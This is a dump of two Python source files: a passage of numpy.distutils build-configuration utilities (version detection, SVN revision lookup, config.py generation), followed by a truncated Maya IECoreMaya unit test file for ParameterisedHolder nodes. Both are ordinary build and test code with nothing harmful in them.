a.extend(dict.get(key,[])) for key in self.dict_keys: a = getattr(self,key) a.update(dict.get(key,{})) known_keys = self.list_keys + self.dict_keys + self.extra_keys for key in dict.keys(): if key not in known_keys: a = getattr(self, key, None) if a and a==dict[key]: continue self.warn('Inheriting attribute %r=%r from %r' \ % (key,dict[key],dict.get('name','?'))) setattr(self,key,dict[key]) self.extra_keys.append(key) elif key in self.extra_keys: self.info('Ignoring attempt to set %r (from %r to %r)' \ % (key, getattr(self,key), dict[key])) elif key in known_keys: # key is already processed above pass else: raise ValueError("Don't know about key=%r" % (key)) def __str__(self): from pprint import pformat known_keys = self.list_keys + self.dict_keys + self.extra_keys s = '<'+5*'-' + '\n' s += 'Configuration of '+self.name+':\n' known_keys.sort() for k in known_keys: a = getattr(self,k,None) if a: s += '%s = %s\n' % (k,pformat(a)) s += 5*'-' + '>' return s def get_config_cmd(self): """ Returns the numpy.distutils config command instance. """ cmd = get_cmd('config') cmd.ensure_finalized() cmd.dump_source = 0 cmd.noisy = 0 old_path = os.environ.get('PATH') if old_path: path = os.pathsep.join(['.',old_path]) os.environ['PATH'] = path return cmd def get_build_temp_dir(self): """ Return a path to a temporary directory where temporary files should be placed. """ cmd = get_cmd('build') cmd.ensure_finalized() return cmd.build_temp def have_f77c(self): """Check for availability of Fortran 77 compiler. Use it inside source generating function to ensure that setup distribution instance has been initialized. Notes ----- True if a Fortran 77 compiler is available (because a simple Fortran 77 code was able to be compiled successfully). """ simple_fortran_subroutine = ''' subroutine simple end ''' config_cmd = self.get_config_cmd() flag = config_cmd.try_compile(simple_fortran_subroutine,lang='f77') return flag def have_f90c(self): """Check for availability of Fortran 90 compiler. Use it inside source generating function to ensure that setup distribution instance has been initialized. Notes ----- True if a Fortran 90 compiler is available (because a simple Fortran 90 code was able to be compiled successfully) """ simple_fortran_subroutine = ''' subroutine simple end ''' config_cmd = self.get_config_cmd() flag = config_cmd.try_compile(simple_fortran_subroutine,lang='f90') return flag def append_to(self, extlib): """Append libraries, include_dirs to extension or library item. """ if is_sequence(extlib): lib_name, build_info = extlib dict_append(build_info, libraries=self.libraries, include_dirs=self.include_dirs) else: from numpy.distutils.core import Extension assert isinstance(extlib,Extension), repr(extlib) extlib.libraries.extend(self.libraries) extlib.include_dirs.extend(self.include_dirs) def _get_svn_revision(self,path): """Return path's SVN revision number. """ revision = None m = None try: p = subprocess.Popen(['svnversion'], shell=True, stdout=subprocess.PIPE, stderr=STDOUT, close_fds=True) sout = p.stdout m = re.match(r'(?P<revision>\d+)', sout.read()) except: pass if m: revision = int(m.group('revision')) return revision if sys.platform=='win32' and os.environ.get('SVN_ASP_DOT_NET_HACK',None): entries = njoin(path,'_svn','entries') else: entries = njoin(path,'.svn','entries') if os.path.isfile(entries): f = open(entries) fstr = f.read() f.close() if fstr[:5] == '<?xml': # pre 1.4 m = re.search(r'revision="(?P<revision>\d+)"',fstr) if m: revision = int(m.group('revision')) else: # non-xml entries file --- check to be sure that m = re.search(r'dir[\n\r]+(?P<revision>\d+)', fstr) if m: revision = int(m.group('revision')) return revision def get_version(self, version_file=None, version_variable=None): """Try to get version string of a package. Return a version string of the current package or None if the version information could not be detected. Notes ----- This method scans files named __version__.py, <packagename>_version.py, version.py, and __svn_version__.py for string variables version, __version\__, and <packagename>_version, until a version number is found. """ version = getattr(self,'version',None) if version is not None: return version # Get version from version file. if version_file is None: files = ['__version__.py', self.name.split('.')[-1]+'_version.py', 'version.py', '__svn_version__.py'] else: files = [version_file] if version_variable is None: version_vars = ['version', '__version__', self.name.split('.')[-1]+'_version'] else: version_vars = [version_variable] for f in files: fn = njoin(self.local_path,f) if os.path.isfile(fn): info = (open(fn),fn,('.py','U',1)) name = os.path.splitext(os.path.basename(fn))[0] n = dot_join(self.name,name) try: version_module = imp.load_module('_'.join(n.split('.')),*info) except ImportError: msg = get_exception() self.warn(str(msg)) version_module = None if version_module is None: continue for a in version_vars: version = getattr(version_module,a,None) if version is not None: break if version is not None: break if version is not None: self.version = version return version # Get version as SVN revision number revision = self._get_svn_revision(self.local_path) if revision is not None: version = str(revision) self.version = version return version def make_svn_version_py(self, delete=True): """Appends a data function to the data_files list that will generate __svn_version__.py file to the current package directory. Generate package __svn_version__.py file from SVN revision number, it will be removed after python exits but will be available when sdist, etc commands are executed. Notes ----- If __svn_version__.py existed before, nothing is done. This is intended for working with source directories that are in an SVN repository. """ target = njoin(self.local_path,'__svn_version__.py') revision = self._get_svn_revision(self.local_path) if os.path.isfile(target) or revision is None: return else: def generate_svn_version_py(): if not os.path.isfile(target): version = str(revision) self.info('Creating %s (version=%r)' % (target,version)) f = open(target,'w') f.write('version = %r\n' % (version)) f.close() import atexit def rm_file(f=target,p=self.info): if delete: try: os.remove(f); p('removed '+f) except OSError: pass try: os.remove(f+'c'); p('removed '+f+'c') except OSError: pass atexit.register(rm_file) return target self.add_data_files(('', generate_svn_version_py())) def make_config_py(self,name='__config__'): """Generate package __config__.py file containing system_info information used during building the package. This file is installed to the package installation directory. """ self.py_modules.append((self.name,name,generate_config_py)) def scons_make_config_py(self, name = '__config__'): """Generate package __config__.py file containing system_info information used during building the package. """ self.py_modules.append((self.name, name, scons_generate_config_py)) def get_info(self,*names): """Get resources information. Return information (from system_info.get_info) for all of the names in the argument list in a single dictionary. """ from system_info import get_info, dict_append info_dict = {} for a in names: dict_append(info_dict,**get_info(a)) return info_dict def get_cmd(cmdname, _cache={}): if cmdname not in _cache: import distutils.core dist = distutils.core._setup_distribution if dist is None: from distutils.errors import DistutilsInternalError raise DistutilsInternalError( 'setup distribution instance not initialized') cmd = dist.get_command_obj(cmdname) _cache[cmdname] = cmd return _cache[cmdname] def get_numpy_include_dirs(): # numpy_include_dirs are set by numpy/core/setup.py, otherwise [] include_dirs = Configuration.numpy_include_dirs[:] if not include_dirs: import numpy include_dirs = [ numpy.get_include() ] # else running numpy/core/setup.py return include_dirs def get_npy_pkg_dir(): """Return the path where to find the npy-pkg-config directory.""" # XXX: import here for bootstrapping reasons import numpy d = os.path.join(os.path.dirname(numpy.__file__), 'core', 'lib', 'npy-pkg-config') return d def get_pkg_info(pkgname, dirs=None): """ Return library info for the given package. Parameters ---------- pkgname : str Name of the package (should match the name of the .ini file, without the extension, e.g. foo for the file foo.ini). dirs : sequence, optional If given, should be a sequence of additional directories where to look for npy-pkg-config files. Those directories are searched prior to the NumPy directory. Returns ------- pkginfo : class instance The `LibraryInfo` instance containing the build information. Raises ------ PkgNotFound If the package is not found. See Also -------- Configuration.add_npy_pkg_config, Configuration.add_installed_library, get_info """ from numpy.distutils.npy_pkg_config import read_config if dirs: dirs.append(get_npy_pkg_dir()) else: dirs = [get_npy_pkg_dir()] return read_config(pkgname, dirs) def get_info(pkgname, dirs=None): """ Return an info dict for a given C library. The info dict contains the necessary options to use the C library. Parameters ---------- pkgname : str Name of the package (should match the name of the .ini file, without the extension, e.g. foo for the file foo.ini). dirs : sequence, optional If given, should be a sequence of additional directories where to look for npy-pkg-config files. Those directories are searched prior to the NumPy directory. Returns ------- info : dict The dictionary with build information. Raises ------ PkgNotFound If the package is not found. See Also -------- Configuration.add_npy_pkg_config, Configuration.add_installed_library, get_pkg_info Examples -------- To get the necessary information for the npymath library from NumPy: >>> npymath_info = np.distutils.misc_util.get_info('npymath') >>> npymath_info #doctest: +SKIP {'define_macros': [], 'libraries': ['npymath'], 'library_dirs': ['.../numpy/core/lib'], 'include_dirs': ['.../numpy/core/include']} This info dict can then be used as input to a `Configuration` instance:: config.add_extension('foo', sources=['foo.c'], extra_info=npymath_info) """ from numpy.distutils.npy_pkg_config import parse_flags pkg_info = get_pkg_info(pkgname, dirs) # Translate LibraryInfo instance into a build_info dict info = parse_flags(pkg_info.cflags()) for k, v in parse_flags(pkg_info.libs()).items(): info[k].extend(v) # add_extension extra_info argument is ANAL info['define_macros'] = info['macros'] del info['macros'] del info['ignored'] return info def is_bootstrapping(): import __builtin__ try: __builtin__.__NUMPY_SETUP__ return True except AttributeError: return False __NUMPY_SETUP__ = False def scons_generate_config_py(target): """generate config.py file containing system_info information used during building the package. usage: config['py_modules'].append((packagename, '__config__',generate_config_py)) """ from distutils.dir_util import mkpath from numscons import get_scons_configres_dir, get_scons_configres_filename d = {} mkpath(os.path.dirname(target)) f = open(target, 'w') f.write('# this file is generated by %s\n' % (os.path.abspath(sys.argv[0]))) f.write('# it contains system_info results at the time of building this package.\n') f.write('__all__ = ["show"]\n\n') confdir = get_scons_configres_dir() confilename = get_scons_configres_filename() for root, dirs, files in os.walk(confdir): if files: file = os.path.join(root, confilename) assert root.startswith(confdir) pkg_name = '.'.join(root[len(confdir)+1:].split(os.sep)) fid = open(file, 'r') try: cnt = fid.read() d[pkg_name] = eval(cnt) finally: fid.close() # d is a dictionary whose keys are package names, and values the # corresponding configuration. Each configuration is itself a dictionary # (lib : libinfo) f.write('_config = %s\n' % d) f.write(r''' def show(): for pkg, config in _config.items(): print("package %s configuration:" % pkg) for lib, libc in config.items(): print(' %s' % lib) for line in libc.split('\n'): print('\t%s' % line) ''') f.close() return target ######################### def default_config_dict(name = None, parent_name = None, local_path=None): """Return a configuration dictionary for usage in configuration() function defined in file setup_<name>.py. """ import warnings warnings.warn('Use Configuration(%r,%r,top_path=%r) instead of '\ 'deprecated default_config_dict(%r,%r,%r)' % (name, parent_name, local_path, name, parent_name, local_path, )) c = Configuration(name, parent_name, local_path) return c.todict() def dict_append(d, **kws): for k, v in kws.items(): if k in d: ov = d[k] if isinstance(ov,str): d[k] = v else: d[k].extend(v) else: d[k] = v def appendpath(prefix, path): if os.path.sep != '/': prefix = prefix.replace('/', os.path.sep) path = path.replace('/', os.path.sep) drive = '' if os.path.isabs(path): drive = os.path.splitdrive(prefix)[0] absprefix = os.path.splitdrive(os.path.abspath(prefix))[1] pathdrive, path = os.path.splitdrive(path) d = os.path.commonprefix([absprefix, path]) if os.path.join(absprefix[:len(d)], absprefix[len(d):]) != absprefix \ or os.path.join(path[:len(d)], path[len(d):]) != path: # Handle invalid paths d = os.path.dirname(d) subpath = path[len(d):] if os.path.isabs(subpath): subpath = subpath[1:] else: subpath = path return os.path.normpath(njoin(drive + prefix, subpath)) def generate_config_py(target): """Generate config.py file containing system_info information used during building the package. Usage: config['py_modules'].append((packagename, '__config__',generate_config_py)) """ from numpy.distutils.system_info import system_info from distutils.dir_util import mkpath mkpath(os.path.dirname(target)) f = open(target, 'w') f.write('# This file is generated by %s\n' % (os.path.abspath(sys.argv[0]))) f.write('# It contains system_info results at the time of building this package.\n') f.write('__all__ = ["get_info","show"]\n\n') for k, i in system_info.saved_results.items(): f.write('%s=%r\n' % (k, i)) f.write(r''' def get_info(name): g = globals() return g.get(name, g.get(name + "_info", {})) def show(): for name,info_dict in globals().items(): if name[0] == "_" or type(info_dict) is not type({}): continue print(name + ":") if not info_dict: print(" NOT AVAILABLE") for k,v in info_dict.items(): v = str(v) if k == "sources" and len(v) > 200: v = v[:60] + " ...\n... " + v[-60:] print(" %s = %s" % (k,v)) ''') f.close() return target def msvc_version(compiler): """Return version major and minor of compiler instance if it is MSVC, raise an exception otherwise.""" if not compiler.compiler_type == "msvc": raise ValueError("Compiler instance is not msvc (%s)"\ % compiler.compiler_type) return compiler._MSVCCompiler__version if sys.version[:3] >= '2.5': def get_build_architecture(): from distutils.msvccompiler import get_build_architecture return get_build_architecture() else: #copied from python 2.5.1 distutils/msvccompiler.py def get_build_architecture(): """Return the processor architecture. Possible results are "Intel", "Itanium", or "AMD64". """ prefix = " bit (" i = sys.version.find(prefix) if i == -1: return "Intel" j = sys.version.find(")", i) return sys.version[i+len(prefix):j]
codeparrot/github-code-clean
########################################################################## # # Copyright (c) 2008-2011, Image Engine Design Inc. All rights reserved. # # Redistribution and use in source and binary forms, with or without # modification, are permitted provided that the following conditions are # met: # # * Redistributions of source code must retain the above copyright # notice, this list of conditions and the following disclaimer. # # * Redistributions in binary form must reproduce the above copyright # notice, this list of conditions and the following disclaimer in the # documentation and/or other materials provided with the distribution. # # * Neither the name of Image Engine Design nor the names of any # other contributors to this software may be used to endorse or # promote products derived from this software without specific prior # written permission. # # THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS # IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, # THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR # PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR # CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, # EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, # PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR # PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF # LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING # NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS # SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. # ########################################################################## from __future__ import with_statement import os.path import maya.cmds as cmds import maya.OpenMaya as OpenMaya import IECore import IECoreMaya import sys class TestParameterisedHolder( IECoreMaya.TestCase ) : def __checkAllParameterPlugs( self, fnOH, parameter=None ) : if parameter is not None : plug = fnOH.parameterPlug( parameter ) self.failIf( plug.isNull() ) else : parameter = fnOH.getParameterised()[0].parameters() if parameter.isInstanceOf( IECore.CompoundParameter.staticTypeId() ) : for p in parameter.values() : self.__checkAllParameterPlugs( fnOH, p ) def testNode( self ): """ Test ParameterisedHolderNode """ n = cmds.createNode( "ieParameterisedHolderNode" ) h = IECoreMaya.FnParameterisedHolder( str(n) ) self.assert_( h ) p = IECore.ParticleMeshOp() h.setParameterised( p ) p.parameters()["filename"] = "testValue" h.setNodeValue( p.parameters()["filename"] ) pl = h.parameterPlug( p.parameters()["filename"] ) v = IECoreMaya.FromMayaPlugConverter.create( pl, IECore.TypeId.StringData ).convert() self.assertEqual( v.value, "testValue" ) cmds.setAttr( pl.name(), "testValue2", typ="string" ) h.setParameterisedValue( p.parameters()["filename"] ) self.assertEqual( p.parameters()["filename"].getValue().value, "testValue2" ) def testParameterisedHolderSetReference( self ): """ Test multiple references to ieParameterisedHolderSet nodes """ nodeType = "ieParameterisedHolderSet" nodeName = cmds.createNode( nodeType ) cmds.file( rename = os.path.join( os.getcwd(), "test", "IECoreMaya", "reference.ma" ) ) scene = cmds.file( force = True, type = "mayaAscii", save = True ) cmds.file( new = True, force = True ) cmds.file( scene, reference = True, namespace = "ns1" ) cmds.file( scene, reference = True, namespace = "ns2" ) cmds.file( rename = os.path.join( os.getcwd(), "test", "IECoreMaya", "referenceMaster.ma" ) ) masterScene = cmds.file( force = True, type = "mayaAscii", save = True ) cmds.file( masterScene, force = True, open = True ) nodeName1 = "ns1:" + nodeName nodeName2 = "ns2:" + nodeName l = OpenMaya.MSelectionList() l.add( nodeName1 ) l.add( nodeName2 ) node1 = OpenMaya.MObject() l.getDependNode( 0, node1 ) node2 = OpenMaya.MObject() l.getDependNode( 1, node2 ) fn1 = OpenMaya.MFnDependencyNode( node1 ) fn2 = OpenMaya.MFnDependencyNode( node2 ) self.assert_( fn1.userNode() ) self.assert_( fn2.userNode() ) # This failure is due to a Maya bug. When referencing the same scene twice, as an optimisation Maya will duplicate existing nodes instead of creating new ones. There is a bug in MPxObjectSet::copy() which gets exercised here. Setting the environment variable MAYA_FORCE_REF_READ to 1 will disable this optimisation, however. def testChangeDefault( self ) : """ Test that changing parameter defaults is correctly reflected in Maya attributes """ def makeOp( defaultValue ) : class TestOp( IECore.Op ) : def __init__( self ) : IECore.Op.__init__( self, "Tests stuff", IECore.IntParameter( name = "result", description = "", defaultValue = 0 ) ) self.parameters().addParameters( [ IECore.Color3fParameter( name = "c", description = "", defaultValue = defaultValue ), ] ) return TestOp() n = cmds.createNode( "ieParameterisedHolderNode" ) h = IECoreMaya.FnParameterisedHolder( str(n) ) self.assert_( h ) p = makeOp( IECore.Color3f( 0, 0, 0 ) ) h.setParameterised( p ) dv = cmds.attributeQuery ( "parm_c", node = n, listDefault = True ) self.assertEqual( dv, [ 0, 0, 0 ] ) p = makeOp( IECore.Color3f( 1, 1, 1 ) ) h.setParameterised( p ) dv = cmds.attributeQuery ( "parm_c", node = n, listDefault = True ) self.assertEqual( dv, [ 1, 1, 1 ] ) def testDirectSettingOfOp( self ) : class TestOp( IECore.Op ) : def __init__( self ) : IECore.Op.__init__( self, "", IECore.FloatParameter( "result", "", 0.0 ), ) self.parameters().addParameter( IECore.FloatParameter( "a", "", 0.0 ) ) def doOperation( self, operands ) : return IECore.FloatData( operands["a"].value ) node = cmds.createNode( "ieOpHolderNode" ) fnOH = IECoreMaya.FnParameterisedHolder( str( node ) ) op = TestOp() fnOH.setParameterised( op ) self.failUnless( cmds.objExists( node + ".result" ) ) aAttr = fnOH.parameterPlugPath( op["a"] ) cmds.setAttr( aAttr, 10 ) self.assertEqual( cmds.getAttr( node + ".result" ), 10 ) cmds.setAttr( aAttr, 20 ) self.assertEqual( cmds.getAttr( node + ".result" ), 20 ) def testLazySettingFromCompoundPlugs( self ) : class TestProcedural( IECore.ParameterisedProcedural ) : def __init__( self ) : IECore.ParameterisedProcedural.__init__( self, "" ) self.parameters().addParameter( IECore.V3fParameter( "halfSize", "", IECore.V3f( 0 ) ) ) def doBound( self, args ) : return IECore.Box3f( -args["halfSize"].value, args["halfSize"].value ) def doRenderState( self, args ) : pass def doRender( self, args ) : pass node = cmds.createNode( "ieProceduralHolder" ) fnPH = IECoreMaya.FnParameterisedHolder( str( node ) ) p = TestProcedural() fnPH.setParameterised( p ) self.assertEqual( cmds.getAttr( node + ".boundingBoxMin" ), [( 0, 0, 0 )] ) cmds.setAttr( fnPH.parameterPlugPath( p["halfSize"] ), 1, 2, 3 ) self.assertEqual( cmds.getAttr( node + ".boundingBoxMin" ), [( -1, -2, -3 )] ) def testLazySettingFromArrayPlugs( self ) : class TestProcedural( IECore.ParameterisedProcedural ) : def __init__( self ) : IECore.ParameterisedProcedural.__init__( self, "" ) self.parameters().addParameter( IECore.SplineffParameter( "spline", "", defaultValue = IECore.SplineffData( IECore.Splineff( IECore.CubicBasisf.catmullRom(), ( ( 0, 1 ), ( 0, 1 ), ( 1, 0 ), ( 1, 0 ), ), ), ), ), ) def doBound( self, args ) : v = args["spline"].value.points()[0][1] return IECore.Box3f( IECore.V3f( -v ), IECore.V3f( v ) ) def doRenderState( self, args ) : pass def doRender( self, args ) : pass node = cmds.createNode( "ieProceduralHolder" ) fnPH = IECoreMaya.FnParameterisedHolder( str( node ) ) p = TestProcedural() fnPH.setParameterised( p ) self.assertEqual( cmds.getAttr( node + ".boundingBoxMin" ), [( -1, -1, -1 )] ) plugPath = fnPH.parameterPlugPath( p["spline"] ) plugName = plugPath.partition( "." )[2] pointValuePlugPath = plugPath + "[0]." + plugName + "_FloatValue" cmds.setAttr( pointValuePlugPath, 2 ) self.assertEqual( cmds.getAttr( node + ".boundingBoxMin" ), [( -2, -2, -2 )] ) def testObjectParameterIOProblem( self ) : fnPH = IECoreMaya.FnProceduralHolder.create( "procedural", "image", 1 ) p = fnPH.getProcedural() w = IECore.Box2i( IECore.V2i( 0 ), IECore.V2i( 255 ) ) image = IECore.ImagePrimitive( w, w ) image.createFloatChannel( "Y" ) image.createFloatChannel( "A" ) p.parameters()["image"].setValue( image ) fnPH.setNodeValues() cmds.file( rename = os.getcwd() + "/test/IECoreMaya/objectParameterIO.ma" ) scene = cmds.file( force = True, type = "mayaAscii", save = True ) cmds.file( new = True, force = True ) cmds.file( scene, open = True ) fnPH = IECoreMaya.FnProceduralHolder( "proceduralShape" ) fnPH.setParameterisedValues() p = fnPH.getProcedural() i2 = p.parameters()["image"].getValue() self.assertEqual( p.parameters()["image"].getValue(), image ) def testObjectMFnDataParameterIOProblem( self ) : fnOH = IECoreMaya.FnOpHolder.create( "opHolder", "matrixParameter", 1 ) op = fnOH.getOp() locator = cmds.spaceLocator()[0] parameterPlugPath = fnOH.parameterPlugPath( op.parameters()['matrix'] ) attrPlugPath = '%s.worldMatrix' % ( locator ) cmds.connectAttr( attrPlugPath, parameterPlugPath ) cmds.file( rename = os.getcwd() + "/test/IECoreMaya/objectMFnDataParameterIO.ma" ) scene = cmds.file( force = True, type = "mayaAscii", save = True ) cmds.file( new = True, force = True ) cmds.file( scene, open = True ) connections = cmds.listConnections( parameterPlugPath, plugs=True, connections=True ) or [] self.failUnless( attrPlugPath in connections ) self.failUnless( parameterPlugPath in connections ) def testNonStorableObjectParameter( self ) : fnOH = IECoreMaya.FnOpHolder.create( "opHolder", "unstorable", 1 ) op = fnOH.getOp() node = fnOH.fullPathName() testObj = IECore.CompoundObject( { "someData" : IECore.BoolData( False ) } ) with fnOH.parameterModificationContext() : op["input"].setValue( testObj ) self.assertEqual( op["input"].getValue(), testObj ) cmds.file( rename = os.getcwd() + "/test/IECoreMaya/nonStorableObjectParameter.ma" ) scene = cmds.file( force = True, type = "mayaAscii", save = True ) cmds.file( new = True, force = True ) cmds.file( scene, open = True ) fnPH = IECoreMaya.FnParameterisedHolder( node ) fnPH.setParameterisedValues() op = fnPH.getParameterised()[0] self.assertEqual( op["input"].getValue(), op["input"].defaultValue ) def testMeshParameterIOProblem( self ) : fnOP = IECoreMaya.FnOpHolder.create( "merge", "meshMerge", 1 ) op = fnOP.getOp() mesh = IECore.MeshPrimitive.createBox( IECore.Box3f( IECore.V3f( -2, -2, -2 ), IECore.V3f( 2, 3, 4 ) ) ) op.parameters()["input"].setValue( mesh ) fnOP.setNodeValues() cmds.file( rename = os.getcwd() + "/test/IECoreMaya/meshParameterIO.ma" ) scene = cmds.file( force = True, type = "mayaAscii", save = True ) cmds.file( new = True, force = True ) cmds.file( scene, open = True ) fnOP = IECoreMaya.FnOpHolder( "merge" ) fnOP.setParameterisedValues() op = fnOP.getOp() mesh2 = op.parameters()["input"].getValue() self.failUnless( mesh2.arePrimitiveVariablesValid() ) del mesh2["N"] self.assertEqual( mesh2, mesh ) def testOpHolder( self ) : fnOH = IECoreMaya.FnOpHolder.create( "opHolder", "maths/multiply", 2 ) op = fnOH.getOp() self.assertEqual( cmds.attributeQuery( "result", node="opHolder", storable=True ), False ) self.assertEqual( cmds.attributeQuery( "result", node="opHolder", writable=True ), False ) aPlug = fnOH.parameterPlugPath( op["a"] ) bPlug = fnOH.parameterPlugPath( op["b"] ) cmds.setAttr( aPlug, 20 ) cmds.setAttr( bPlug, 100 ) self.failUnless( cmds.getAttr( "opHolder.result" ), 2000 ) def testParameterTypes( self ) : node = cmds.createNode( "ieOpHolderNode" ) fnPH = IECoreMaya.FnParameterisedHolder( node ) op = IECore.ClassLoader.defaultOpLoader().load( "parameterTypes", 1 )() op.parameters().removeParameter( "m" ) # no color4f support in maya fnPH.setParameterised( op ) for parameter in op.parameters().values() : self.failUnless( cmds.objExists( fnPH.parameterPlugPath( parameter ) ) ) def testCompoundObjectConnections( self ) : fnOHA = IECoreMaya.FnOpHolder.create( "opA", "compoundObjectInOut", 1 ) fnOHB = IECoreMaya.FnOpHolder.create( "opB", "compoundObjectInOut", 1 ) opB = fnOHB.getOp() inputPlug = fnOHB.parameterPlugPath( opB["input"] ) cmds.connectAttr( "opA.result", inputPlug ) self.assertEqual( cmds.listConnections( inputPlug, source=True, destination=False, plugs=True ), [ "opA.result" ] ) self.assertEqual( cmds.listConnections( inputPlug, source=False, destination=True, plugs=True ), None ) cmds.file( rename = os.path.join( os.getcwd(), "test", "IECoreMaya", "compoundObjectConnections.ma" ) ) scene = cmds.file( force = True, type = "mayaAscii", save = True ) cmds.file( new = True, force = True ) cmds.file( scene, open = True ) self.assertEqual( cmds.listConnections( inputPlug, source=True, destination=False, plugs=True ), [ "opA.result" ] ) self.assertEqual( cmds.listConnections( inputPlug, source=False, destination=True, plugs=True ), None ) def testDefaultConnections( self ) : # make an opholder for an op with default connections # and make sure they are made. fnOH = IECoreMaya.FnOpHolder.create( "opA", "mayaUserData", 1 ) op = fnOH.getOp() tPlug = fnOH.parameterPlugPath( op["t"] ) self.assertEqual( cmds.listConnections( tPlug, source=True, destination=False, plugs=True, skipConversionNodes=True ), [ "time1.outTime" ] ) self.assertEqual( cmds.listConnections( tPlug, source=False, destination=True, plugs=True ), None ) ePlug = fnOH.parameterPlugPath( op["e"] ) eInputPlugs = cmds.listConnections( ePlug, source=True, destination=False, plugs=True ) eInputNodes = cmds.listConnections( ePlug, source=True, destination=False ) self.assertEqual( len( eInputNodes ), 1 ) self.assertEqual( cmds.nodeType( eInputNodes[0] ), "expression" ) # save the file cmds.file( rename = os.getcwd() + "/test/IECoreMaya/defaultConnections.ma" ) scene = cmds.file( force = True, type = "mayaAscii", save = True ) # load it again and check the connections are still there cmds.file( new = True, force = True ) cmds.file( scene, open = True ) self.assertEqual( cmds.listConnections( tPlug, source=True, destination=False, plugs=True, skipConversionNodes=True ), [ "time1.outTime" ] ) self.assertEqual( cmds.listConnections( tPlug, source=False, destination=True, plugs=True ), None ) eInputNodes = cmds.listConnections( ePlug, source=True, destination=False ) self.assertEqual( len( eInputNodes ), 1 ) self.assertEqual( cmds.nodeType( eInputNodes[0] ), "expression" ) # remove the connections and save cmds.disconnectAttr( "time1.outTime", tPlug ) cmds.disconnectAttr( eInputPlugs[0], ePlug ) self.assertEqual( cmds.listConnections( tPlug, source=True, destination=False, plugs=True, skipConversionNodes=True ), None ) self.assertEqual( cmds.listConnections( ePlug, source=True, destination=False, plugs=True, skipConversionNodes=True ), None ) scene = cmds.file( force = True, type = "mayaAscii", save = True ) # load again and check they remain disconnected cmds.file( new = True, force = True ) cmds.file( scene, open = True ) self.assertEqual( cmds.listConnections( tPlug, source=True, destination=False, plugs=True, skipConversionNodes=True ), None ) self.assertEqual( cmds.listConnections( ePlug, source=True, destination=False, plugs=True, skipConversionNodes=True ), None ) def testConnectedNodeNameValueProvider( self ) : fnOH = IECoreMaya.FnOpHolder.create( "opA", "mayaUserData", 1 ) op = fnOH.getOp() fnOH.setParameterisedValues() self.assertEqual( op["s"].getTypedValue(), "" ) sPlug = fnOH.parameterPlugPath( op["s"] ) cmds.connectAttr( "time1.outTime", sPlug ) fnOH.setParameterisedValues() self.assertEqual( op["s"].getTypedValue(), "time1" ) def testReferencedConnectedNodeNameValueProvider( self ) : # Create a scene with a ClassVector parameter containing a StringParameter # that uses the "connectedNodeName" value provider, and hook it up. ########################################################################## fnOH = IECoreMaya.FnOpHolder.create( "node", "classVectorParameterTest", 2 ) op = fnOH.getOp() c = op["cv"] with fnOH.parameterModificationContext() : c.setClasses( [ ( "mud", "mayaUserData", 1 ), ] ) plugPath = fnOH.parameterPlugPath( c["mud"]["s"] ) camera = cmds.createNode( "camera" ) cmds.connectAttr( "%s.message" % camera, plugPath ) cmds.file( rename = os.path.join( os.getcwd(), "test", "IECoreMaya", "connectedNodeReference.ma" ) ) referenceScene = cmds.file( force = True, type = "mayaAscii", save = True ) # Reference this scene into a new one, and add another class. ############################################################# cmds.file( new = True, force = True ) cmds.file( referenceScene, reference = True, namespace = "ns1" ) fnOH = IECoreMaya.FnOpHolder( "ns1:node" ) op = fnOH.getOp() c = op["cv"] with fnOH.parameterModificationContext() : c.setClasses( [ ( "mud", "mayaUserData", 1 ), ( "maths", "maths/multiply", 1 ) ] ) plugPath = fnOH.parameterPlugPath( c["mud"]["s"] ) self.failUnless( cmds.isConnected( "ns1:%s.message" % camera, plugPath ) ) # Save, and re-open scene, and make sure that the message connection survived ############################################################################# cmds.file( rename = os.path.join( os.getcwd(), "test", "IECoreMaya", "connectedNodeReference2.ma" ) ) thisScene = cmds.file( force = True, type = "mayaAscii", save = True ) cmds.file( thisScene, open = True, force = True ) self.failUnless( cmds.isConnected( "ns1:%s.message" % camera, plugPath ) ) def testClassParameter( self ) : class TestOp( IECore.Op ) : def __init__( self ) : IECore.Op.__init__( self, "", IECore.FloatParameter( "result", "", 0.0 ), ) self.parameters().addParameter( IECore.ClassParameter( "cp", "", "IECORE_OP_PATHS" ) ) def doOperation( self, operands ) : return IECore.FloatData( 1 ) node = cmds.createNode( "ieOpHolderNode" ) fnOH = IECoreMaya.FnParameterisedHolder( str( node ) ) op = TestOp() fnOH.setParameterised( op ) with fnOH.parameterModificationContext() : op["cp"].setClass( "maths/multiply", 1, "IECORE_OP_PATHS" ) aPlugPath = fnOH.parameterPlugPath( op["cp"]["a"] ) bPlugPath = fnOH.parameterPlugPath( op["cp"]["b"] ) self.assertEqual( cmds.getAttr( aPlugPath ), 1 ) self.assertEqual( cmds.getAttr( bPlugPath ), 2 ) with fnOH.parameterModificationContext() : op["cp"].setClass( "stringParsing", 1, "IECORE_OP_PATHS" ) self.failIf( cmds.objExists( aPlugPath ) ) self.failIf( cmds.objExists( bPlugPath ) ) emptyStringPlugPath = fnOH.parameterPlugPath( op["cp"]["emptyString"] ) self.assertEqual( cmds.getAttr( emptyStringPlugPath ), "notEmpty" ) def testClassParameterSaveAndLoad( self ) : # make an opholder with a ClassParameter, and set the held class #################################################################### fnOH = IECoreMaya.FnOpHolder.create( "node", "classParameterTest", 1 ) op = fnOH.getOp() with fnOH.parameterModificationContext() : op["cp"].setClass( "maths/multiply", 1, "IECORE_OP_PATHS" ) heldClass, className, classVersion, searchPath = op["cp"].getClass( True ) self.assertEqual( heldClass.typeName(), "multiply" ) self.assertEqual( className, "maths/multiply" ) self.assertEqual( classVersion, 1 ) self.assertEqual( searchPath, "IECORE_OP_PATHS" ) # check that maya has appropriate attributes for the held class, # and that the held class hasn't changed in the process. #################################################################### 